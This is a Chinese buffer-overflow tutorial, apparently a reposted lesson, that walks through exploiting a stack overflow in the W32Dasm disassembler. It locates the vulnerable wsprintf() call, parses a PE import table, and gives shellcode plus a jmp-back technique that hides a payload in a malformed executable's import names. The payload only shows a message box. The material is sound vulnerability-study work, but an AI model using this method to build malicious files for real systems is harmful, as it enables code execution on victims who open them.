漏洞报告分析

学习过破解的朋友一定听说过W32Dasm这款逆向分析工具。它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的“屠龙刀”。

但是即便是这么一款破解界的“神器”,竟然也是存在着缓冲区溢出的漏洞的。可见,它在破解无数程序的同时,其自身也存在着被“黑”的风险。那么我们可以首先分析一下漏洞报告:

  1. #######################################################################
  2. Luigi Auriemma
  3. Application:  W32Dasm
  4. (was http://www.expage.com/page/w32dasm)
  5. Versions:     <= 8.93 (8.94???)
  6. Platforms:    Windows
  7. Bug:          buffer-overflow
  8. Exploitation: local
  9. Date:         24 Jan 2005
  10. Author:       Luigi Auriemma
  11. e-mail: aluigi@autistici.org
  12. web:    aluigi.org
  13. #######################################################################
  14. 1) Introduction
  15. 2) Bug
  16. 3) The Code
  17. 4) Fix
  18. #######################################################################
  19. ===============
  20. 1) Introduction
  21. ===============
  22. W32Dasm is a cool and famous disassembler/debugger developed by URSoft.
  23. It has tons of functions and, also if it is no longer supported by long
  24. time, it is still widely used by a lot of people.
  25. #######################################################################
  26. ======
  27. 2) Bug
  28. ======
  29. The program uses the wsprintf() function to copy the name of the
  30. imported/exported functions of the analyzed file into a buffer of only
  31. 256 bytes, with the possibility for an attacker to execute malicious
  32. code.
  33. #######################################################################
  34. ===========
  35. 3) The Code
  36. ===========
  37. Exploiting the bug is very simple, all you need is to get an executable
  38. and searching for the name of an imported or exported function to
  39. modify.
  40. I have written a very simple proof-of-concept that overwrites the
  41. return address with 0xdeadc0de:
  42. http://aluigi.org/poc/w32dasmbof.zip
  43. #######################################################################
  44. ======
  45. 4) Fix
  46. ======
  47. No fix.
  48. This program is no longer supported.
  49. #######################################################################

依据上述漏洞报告我们可以知道,漏洞所出现的版本为8.93版及以下。漏洞出现的原因是由于软件在分析目标程序时,使用了wsprintf()这个函数用于复制导入/导出表的信息,而目标缓冲区的大小只有256个字节,这就给攻击者提供了执行恶意代码的机会。而利用这个漏洞的方法很简单,只需要找一个可执行文件(PE文件),然后找到它的导入或者导出表进行修改就可以了。

定位漏洞出现的位置

尽管通过以上漏洞报告,我们大致知道了程序的问题所在。但是就如同现今大部分的漏洞报告一样,报告中的内容还是比较少的,很多东西需要由我们来亲自研究一下才能够确认。而且亲自动手,也能够加深我们对这个问题的理解。当然在这里,我们无需从零开始进行研究,依旧是要以上述漏洞报告为基础。

首先利用OllyDbg载入W32dsm89.exe这个程序,然后按下“F9”让程序运行起来。因为我们已经知道了,漏洞出现的原因是因为wsprintf()这个函数不恰当利用造成的,因此这里我们需要在程序中搜索这个函数。可以在反汇编代码区域单击鼠标右键,选择“Search for”下的“All intermodular calls”:

图1

然后再键入想要查找的函数名称。不过这里我们已经可以发现存在着很多个wsprintf(),现在我们想知道究竟哪个函数才是出问题的位置,那么可以在任意一个wsprintf()上单击鼠标右键,选择“Set breakpoint on every call to wsprintfA”:


图2

然后程序中只要是出现了调用wsprintf()的地方,都会被下了断点:

图3

那么我们下一步就是确定究竟是哪个位置出了问题,换句话说,这里我想要查找的是用于拷贝导入/导出表的wsprintf()。

现在需要将W32Dasm激活,也就是用它分析一个可执行文件,这样当它调用wsprintf()的时候,OD就会帮我们断下来,从而可以进一步分析。这里我让W32Dasm分析的是Strings.exe这个程序。载入后,W32Dasm会卡住不动,说明OD已经帮我们断在了第一个wsprintf()的位置。可以在OD中查看一下这个位置的wsprintf()函数:

图4

很明显可以发现,由于这个wsprintf()的格式化参数为”%lu”,也就是无符号长整型,说明它复制的并不是字符串,所以可以略过,按F9继续执行。直至找到参数为“%s“的调用位置:

图5

可以发现,尽管这次的参数是字符型,但是EDX,也就是欲拷贝的字符串为“C:\strings.exe”并不是函数名称,说明这个位置也不对,所以继续按F9运行,直至执行到地址0x0045D8DB处:

图6

可以看到此时所拷贝的字符串为“GetFullPathNameA”,那么基本就可以确定是这里了。不妨用数据窗口看一下EDX中所保存的饿地址中的内容,然后再留意一下EAX中的函数,此时按一下F9:

图7

可见,此时EAX中保存的是即将要拷贝进缓冲区的函数名称,而EDX中保存的还是上一个函数名称,这通过数据窗口也能够确认。那么至此我们就可以确定出现问题的wsprintf()就是在这里了。

分析出现漏洞的缓冲区空间

函数名称所要拷贝到的缓冲区的地址,就保存在wsprintf()函数的第一个参数中,也就在EDX里面,它的值为EBP-FC,即0x0065BEE0-0x0FC,即0x0065BDE4这个地址处。那么这个缓冲区的大小就是0x0FC+0x04(EBP)=0x100,也就是十进制的256。这与漏洞描述中的缓冲区的大小是一致的。

图8

可见保存着返回地址的位置为0x0065BEE4,正常情况下,程序调用完毕后会跳转到0x00457EC0的位置继续执行。分析至此,漏洞的利用方式也就很明了了。根据我们之前的课程所讲的内容,第一种方式可以将这256个字节的缓冲区空间的下面四个字节覆盖为jmp esp,然后将ShellCode写入返回地址的下方。第二种方式就是直接将ShellCode写入这个缓冲区,然后将返回地址覆盖为缓冲区起始的地址。那么究竟哪种方式更加适合于W32Dasm,还需要进一步的分析才能够知道。

手动解析导入表

对于本程序来说,为了能够利用这个漏洞,我们可以构造一个畸形的可执行文件,把位于导入/导出表中的函数名构造得非常长,这样如果用户使用W32Dasm来载入我们所构造的畸形文件,就能够触发漏洞,从而在目标系统上为所欲为了。所以说在植入ShellCode之前,我觉得有必要给大家简单地讲解一下PE结构中的导入表的知识。

在可执行文件中使用其他DLL可执行文件的代码或数据,称为导入或者输入。当PE文件需要运行时,将被系统加载至内存中,此时Windows加载器会定位所有的导入的函数或数据,并将定位到的内容填写至可执行文件的某个位置供其使用。这个定位是需要借助于可执行文件的导入表来完成的。导入表中存放了所使用的DLL的模块名称及导入的函数名称或函数序号。

描述导入表的结构体是IMAGE_IMPORT_DESCRIPTOR,被导入的每个DLL都对应一个IMAGE_IMPORT_DESCRIPTOR结构。也就是说,导入的DLL文件与IMAGE_IMPORT_DESCRIPTOR是一对一的关系。IMAGE_IMPORT_DESCRIPTOR在文件中是一个数组,但是导入信息中并没有明确的指出导入表的个数,而是以一个导入表中全“0”的IMAGE_IMPORT_DESCRIPTOR为结束的。导入表对应的结构体定义如下:

  1. typedef struct _IMAGE_IMPORT_DESCRIPTOR {
  2. union {
  3. DWORD Characteristics;
  4. DWORD OriginalFirstThunk;
  5. };
  6. DWORD TimeDateStamp;
  7. DWORD ForwarderChain;
  8. DWORD Name;
  9. DWORD FirstThunk;
  10. } IMAGE_IMPORT_DESCRIPTOR;

对于这次的实验来说,我们重点关注的是OriginalFirstThunk这个字段,它包含导入名称表的RVA,或者可以理解为它所指向的就是真正的导入函数的位置。该字段指向一个名为IMAGE_THUNK_DATA的结构体,该结构体的定义如下:

  1. typedef struct _IMAGE_THUNK_DATA32 {
  2. union {
  3. DWORD ForwarderString;
  4. DWORD Function;
  5. DWORD Ordinal;
  6. DWORD AddressOfData;
  7. } u1;
  8. } IMAGE_THUNK_DATA32;

该结构体的成员是一个联合体,虽然联合体中有若干个变量,但由于该结构体中包含的是一个联合体,那么这个结构体也就相当于只有一个成员变量,只是有些时候它所代表的意义不同。每一个IMAGE_THUNK_DATA对应一个DLL中的导入函数。        IMAGE_THUNK_DATA与IMAGE_IMPORT_DESCRIPTOR类似,同样是以一个全“0”的IMAGE_THUNK_DATA为结束的。当IMAGE_THUNK_DATA值的最高位为1时,表示函数以序号方式导入,这时低31位被看做一个导入序号。当其最高位为0时,表示函数以函数名字的字符串的方式进行导入,这时它的值表示一个RVA,并且指向一个IMAGE_IMPORT_BY_NAME结构:

  1. typedef struct _IMAGE_IMPORT_BY_NAME {
  2. WORD    Hint;
  3. BYTE    Name[1];
  4. } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

该结构中的Hint字段表示该函数在其所属的DLL中的导出表中的序号。该值并不是必需的,一些连接器为此值赋以0值。而Name字段表示的是导入函数的函数名,是我们需要修改的对象。

那么既然知道了以上的理论知识,下面就开始手动地来解析一下strings.exe这个程序的导入表,这里我使用的是LordPE这款软件。首先打开LordPE,然后点击位于右边的“PE Editor”按钮,载入strings.exe这个程序。再点击位于右边的“Directories”按钮,打开“Directory Table”对话框:

图9

这里我们只关注“ImportTable”这一行的内容,这里点击“L”按钮,打开“Structure Lister”对话框:


图10
        可以看到OriginalFirstThunk的值为0x00012A74,它是一个相对虚拟地址,我们需要把它换算为文件偏移,还好LordPE就给我们提供了这个功能。回到“PE Editor”对话框,单击右侧的“FLC”按钮,然后在RVA中输入“12A74”进行换算:

图11
        可以看到换算完之后,文件偏移为0x00011074,选择右下角的“Hex Edit”,查看位于该位置的十六进制数值:

图12
        可见这个位置的值为0x00012CBC,根据之前的分析,由于这个数值的最高位是0,因此它保存的就是函数名称字符串所在的RVA,所以还需要进行换算。换算完之后,得到的文件偏移为0x000112BC,查看该位置的数据如下:

图13
        由右边解析出来的字符可以知道,这里正是我们所要寻找的导入函数的位置,第一个函数正是我们刚才用OD发现的第一个函数GetFullPathNameA,而它前面的0x01F8则是函数的序号。那么对于导入表的手动解析完毕,下面就是对其进行修改了。

植入ShellCode

之前讲过两种跳转到ShellCode的方式,这次我打算再介绍一种。首先给大家看一下这次所编写的ShellCode:

  1. char ShellCode[] =
  2. "\x90\x90\x90"
  3. "\x33\xDB"                           // xor ebx,ebx
  4. "\xB7\x04"                        // mov bh,4
  5. "\x2B\xE3"                        // sub esp,ebx
  6. "\x33\xDB"                           // xor ebx,ebx
  7. "\x53"                                // push ebx
  8. "\x68\x69\x6E\x67\x20"
  9. "\x68\x57\x61\x72\x6E"              // push "Warning"
  10. "\x8B\xC4"                            // mov eax,esp
  11. "\x53"                                 // push ebx
  12. "\x68\x2E\x29\x20\x20"
  13. "\x68\x20\x4A\x2E\x59"
  14. "\x68\x21\x28\x62\x79"
  15. "\x68\x63\x6B\x65\x64"
  16. "\x68\x6E\x20\x68\x61"
  17. "\x68\x20\x62\x65\x65"
  18. "\x68\x68\x61\x76\x65"
  19. "\x68\x59\x6F\x75\x20"            // push "You have been hacked!(by J.Y.)"
  20. "\x8B\xCC"                           // mov ecx,esp
  21. "\x53"                               // push ebx
  22. "\x50"                               // push eax
  23. "\x51"                               // push ecx
  24. "\x53"                               // push ebx
  25. "\xB8\xea\x07\xd5\x77"
  26. "\xFF\xD0"                           // call MessageBox
  27. "\x53"
  28. "\xB8\xFA\xCA\x81\x7C"
  29. "\xFF\xD0"                           // call ExitProcess              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  30. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  31. "\x79\x5b\xe3\x77"                    // Return Address
  32. "\xe9\xf7\xfe\xff\xff"                // jmp back

这次的ShellCode与以往不同之处在于,虽然我依然将返回地址覆盖为了jmp esp的地址,但是在返回地址的下方,也就是程序跳到esp的位置后,所执行的语句为“\xe9\xf7\xfe\xff\xff”,也就是jmp back。那么这个jmp back是什么意思呢。其实jmp指令(E9)后面所跟的是一个偏移地址,这里我是想让程序跳转一定的偏移,即缓冲区的前端去执行指令,这里该偏移的大小为“0xfffffef7”。那么这个值是怎么计算得来的呢?结合之前的分析可以知道,jmp back这条指令所保存的地址为0x0065BEE4,由于jmp back本身长度是5,那么就令0x0065BEE8加上5,即0x0065BEED,然后我们的目标地址,也就是我们想要跳到的位置为0x0065BDE4,那么就用0x0065BDE4减去0x0065BEED,结果为0xFFFFFEF7。因为计算机是小端显示,因此写成ShellCode需要反向来写。请大家注意的是,由于我这里的函数地址采用的是硬编码的方式,所以大家在亲自动手实验的时候,一定要先获取自己系统上真实的函数地址,或者采用我们上节课所说的通用的ShellCode。

载入畸形PE文件

现在单独打开W32Dasm,然后载入我们所修改的畸形的strings.exe文件:


图14
        可见漏洞已经被我们成功利用,并且单击“确定”后,程序也正常退出,说明我们的实验是成功的。

缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析的更多相关文章

  1. W32Dasm缓冲区溢出分析【转载】

    课程简介 在上次课程中与大家一起学习了编写通用的Shellcode,也提到会用一个实例来展示Shellcode的溢出. 那么本次课程中为大家准备了W32Dasm这款软件,并且是存在漏洞的版本.利用它的 ...

  2. 老李案例分享:MAT分析应用程序服务出现内存溢出过程

    老李案例分享:MAT分析应用程序服务出现内存溢出过程   poptest是国内唯一一家培养测试开发工程师的培训机构,以学员能胜任自动化测试,性能测试,测试工具开发等工作为目标.在poptest的loa ...

  3. JAVA之旅(二十七)——字节流的缓冲区,拷贝mp3,自定义字节流缓冲区,读取键盘录入,转换流InputStreamReader,写入转换流,流操作的规律

    JAVA之旅(二十七)--字节流的缓冲区,拷贝mp3,自定义字节流缓冲区,读取键盘录入,转换流InputStreamReader,写入转换流,流操作的规律 我们继续来聊聊I/O 一.字节流的缓冲区 这 ...

  4. JAVA之旅(二十五)——文件复制,字符流的缓冲区,BufferedWriter,BufferedReader,通过缓冲区复制文件,readLine工作原理,自定义readLine

    JAVA之旅(二十五)--文件复制,字符流的缓冲区,BufferedWriter,BufferedReader,通过缓冲区复制文件,readLine工作原理,自定义readLine 我们继续IO上个篇 ...

  5. Java NIO中的缓冲区Buffer(二)创建/复制缓冲区

    创建缓冲区的方式 主要有以下两种方式创建缓冲区: 1.调用allocate方法 2.调用wrap方法 我们将以charBuffer为例,阐述各个方法的含义: allocate方法创建缓冲区 调用all ...

  6. 第9课 - const 和 volatile分析

    第9课 - const和volatile分析 1. const只读变量 (1)const修饰的变量是只读的,本质上还是变量,并不是真正意义上的常量         ※※ const只是告诉编译器该变量 ...

  7. 第11课 - enum, sizeof, typedef 分析

    第11课 - enum, sizeof, typedef 分析 1. enum介绍 (1)enum是C语言中的一种自定义类型,和struct.union地位相同,格式如下: // enum每个值的最后 ...

  8. 一次apk打开时报内存溢出错误,故写下内存溢出的各种原因和解决方法

    原转载:https://blog.csdn.net/cp_panda_5/article/details/79613870 正文内容: 对于JVM的内存写过的文章已经有点多了,而且有点烂了,不过说那么 ...

  9. JVM 内存溢出详解(栈溢出,堆溢出,持久代溢出、无法创建本地线程)

    出处:  http://www.jianshu.com/p/cd705f88cf2a 1.内存溢出和内存泄漏的区别 内存溢出 (Out Of Memory):是指程序在申请内存时,没有足够的内存空间供 ...

随机推荐

  1. C#连接Excel读取与写入数据库SQL ( 上 )

    第一次写C#与sql的东西,主要任务是从Excel读取数据,再存到SQL server中. 先上读取Excel文件的code如下. public bool GetFiles(string equipN ...

  2. 使用函数式语言实践DDD

    长期以来我都在实践OOP,进而通过OOP来实现DDD,特别是如何通过面向对象的技巧来建立一个领域模型.OO的一些特性在建立领域模型时显得恰如其分,能否掌握OO的技巧,对创建领域模型有着至关重要的作用. ...

  3. golang 遍历树状结构

    以遍历Block结构为例,Block结构如下: type Block struct { Inside bool Nest int Boundary bool Incise []*Block } 可以看 ...

  4. Mybatis最权威的知识点

    1.什么是Mybatis? (1)Mybatis是一个半ORM(对象关系映射)框架,它内部封装了JDBC,开发时只需要关注SQL语句本身,不需要花费精力去处理加载驱动.创建连接.创建statement ...

  5. vue全家桶常用命名

    1,版本查看 node -vnpm -v2,修改NPM的缓存目录和全局目录路径 D盘node目录下创建两个目录,分别是node_cache和node_global,这是用来放安装过程的缓存文件以及最终 ...

  6. Elasticsearch 结构化搜索、keyword、Term查询

    前言 Elasticsearch 中的结构化搜索,即面向数值.日期.时间.布尔等类型数据的搜索,这些数据类型格式精确,通常使用基于词项的term精确匹配或者prefix前缀匹配.本文还将新版本的&qu ...

  7. 攻防世界 reverse Mysterious

    Mysterious  BUUCTF-2019 int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4) { char v5; // [e ...

  8. elf.h

    1 /* This file defines standard ELF types, structures, and macros. 2 Copyright (C) 1995-2019 Free So ...

  9. nodeJS详解2

    Nodejs应用场景 创建应用服务 web开发 接口开发 客户端应用工具  gulp webpack vue脚手架 react脚手架 小程序 NodeJs基于 Commonjs模块化开发的规范,它定义 ...

  10. 【FreeRTOS】cpu利用率统计

    目录 前言 概念 作用 必看点 实现 添加几个宏定义 源码 FreeRTOS STM32 定时器 简要说明 前言 本笔记基于 stm32+FreeRTOS. 主要参考野火.安富莱. 概念 简单概要: ...